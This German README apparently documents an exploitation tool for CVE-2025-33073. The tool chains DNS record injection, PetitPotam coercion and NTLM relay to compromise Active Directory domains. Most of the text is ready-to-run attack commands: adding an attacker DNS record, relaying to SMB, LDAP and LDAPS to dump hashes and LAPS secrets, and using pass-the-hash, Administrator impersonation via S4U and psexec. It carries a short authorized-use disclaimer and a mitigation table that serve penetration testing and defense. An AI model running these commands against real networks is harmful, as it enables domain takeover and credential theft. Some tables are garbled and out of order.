
cupntlm
CVE-2025-33073 — NTLM-Reflection-Bypass per DNS-Coercion
Automatisiertes Exploitation-Tool für Active-Directory-Umgebungen.
cupntlm automatisiert die NTLM-Reflection/Relay-Angriffskette, die CVE-2025-33073 ausnutzt. Es kombiniert DNS-Record-Injection, erzwungene Authentifizierungs-Coercion (PetitPotam) und NTLM-Relay in einem einzigen Workflow. Das Tool unterstützt zwei Betriebsmodi, abhängig von Umfang und Stealth-Anforderungen.
Attacker Domain Controller Target Host
│ │ │
│── 1. Inject DNS record ───────▶│ │
│ (attacker IP as target) │ │
│ │ │
│── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
│ │ │
│◀─ 3. NTLM auth forwarded back ─────────────────────────────│
│ │ │
│── 4. Relay to DC ─────────────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. Shell / secretsdump / etc.│ │
Voraussetzungen im Zielnetzwerk:
| Bibliothek | Installation |
|---|---|
impacket | pip3 install impacket --break-system-packages |
colorama | pip3 install colorama --break-system-packages |
dnspython |
exploit/
├── cupntlm.py
├── ntlmrelayx.py # from impacket
├── dnstool.py # from krbrelayx
├── lib/ # krbrelayx support library
└── PetitPotam.py
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
Prüft den SMB-Signierungsstatus auf den Zielen und validiert die Domain-Anmeldedaten, bevor irgendetwas versucht wird.
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
Erstellt einen eindeutigen DNS-Record für jedes Ziel, löst die Coercion einzeln aus und räumt die Records zwischen den Durchläufen auf. Langsamer, aber präziser und erzeugt weniger Rauschen.
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
Injiziert einen einzelnen DNS-Record und hält ntlmrelayx während der Verarbeitung aller Ziele kontinuierlich am Laufen. Schneller bei großen Zielumfängen.
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
192.168.1.10
192.168.1.11
192.168.1.12
Die folgenden Schritte bilden die vollständige Angriffskette manuell nach, ohne cupntlm.py zu verwenden. Nützlich zum Verständnis der Grundbausteine, zum Debuggen oder zur Anpassung an nicht standardmäßige Umgebungen.
Ermittle Hosts, bei denen die SMB-Signierung deaktiviert ist. Diese sind deine gültigen Relay-Ziele.
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
Oder mit nmap:
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
Achte auf:
Message signing enabled but not required ← valid relay target
Message signing enabled and required ← cannot relay here
Verwende dnstool.py, um einen A-Record im DNS der Domain hinzuzufügen, der einen Hostnamen auf deine Maschine zeigt. Wenn ein Ziel diesen Hostnamen auflöst und sich authentifiziert, landet die Anfrage auf deinem Relay-Listener.
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # your attacker IP
--type A \
10.0.0.1 # DC IP
Überprüfe, ob der Record hinzugefügt wurde:
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
Starte ntlmrelayx.py, bevor du die Coercion auslöst. Es wartet dann auf eingehende Authentifizierungen.
Relay zu SMB — SAM/LSA dumpen:
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
Relay zu LDAP — neues Maschinenkonto erstellen (für RBCD / Shadow Credentials):
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
Relay zu LDAPS — Domain-Geheimnisse dumpen:
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
Löse auf der Zielmaschine eine ausgehende Authentifizierung gegenüber deinem injizierten DNS-Record aus. PetitPotam missbraucht das MS-EFSRPC-Interface — auf nicht gepatchten Hosts sind keine Anmeldedaten erforderlich, für gepatchte verwendet man gültige Anmeldedaten.
Ohne Authentifizierung (nicht gepatchtes Ziel):
python3 PetitPotam.py \
[dnsname] \ # your listener IP (matches DNS record)
192.168.1.50 # target host to coerce
Mit Authentifizierung (gepatchtes Ziel, gültige Anmeldedaten erforderlich):
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
An diesem Punkt sendet der gezwungene Host seine NTLM-Authentifizierung an deine Maschine → ntlmrelayx fängt sie ab und leitet sie weiter.
Je nachdem, welches Relay-Ziel du in Schritt 3 gewählt hast:
<hostname>_samhashes.txt / _lsahashes.txtgetST.py fort, um ein Service-Ticket zu erhaltenEntferne injizierte DNS-Records nach dem Engagement immer.
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
Pass-the-Hash mit einem weitergereichten Maschinenkonto:
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
Ein Service-Ticket für S4U2Self erhalten (nach RBCD):
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
Das Ticket verwenden:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
| Maßnahme | Wirkung |
|---|
Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Sicherheitsforschung bestimmt.
Verwende es nicht gegen Systeme, für die du keine ausdrückliche schriftliche Genehmigung zum Testen hast.
| Tool | Zweck |
|---|
python3 | Laufzeitumgebung |
pip3 | Python-Paketmanager |
git | Klonen von Abhängigkeiten |
wget | Herunterladen von Dateien |
nmap | SMB-Signierungs-Enumeration |
netexec / crackmapexec | SMB-Signierungsprüfung (optional) |
pip3 install dnspython --break-system-packages| SMB-Signierung (erforderlich) auf allen Hosts aktivieren | Unterbricht Relay zu SMB |
| LDAP-Signierung + Channel Binding aktivieren | Unterbricht Relay zu LDAP/LDAPS |
| MS-EFSRPC patchen (KB5005413) | Blockiert nicht authentifiziertes PetitPotam |
| Erstellung von DNS-Records auf Administratoren beschränken | Blockiert den DNS-Injectionsschritt |
| NTLM-Netzwerkauthentifizierung deaktivieren (Kerberos bevorzugen) | Eliminiert die gesamte Klasse |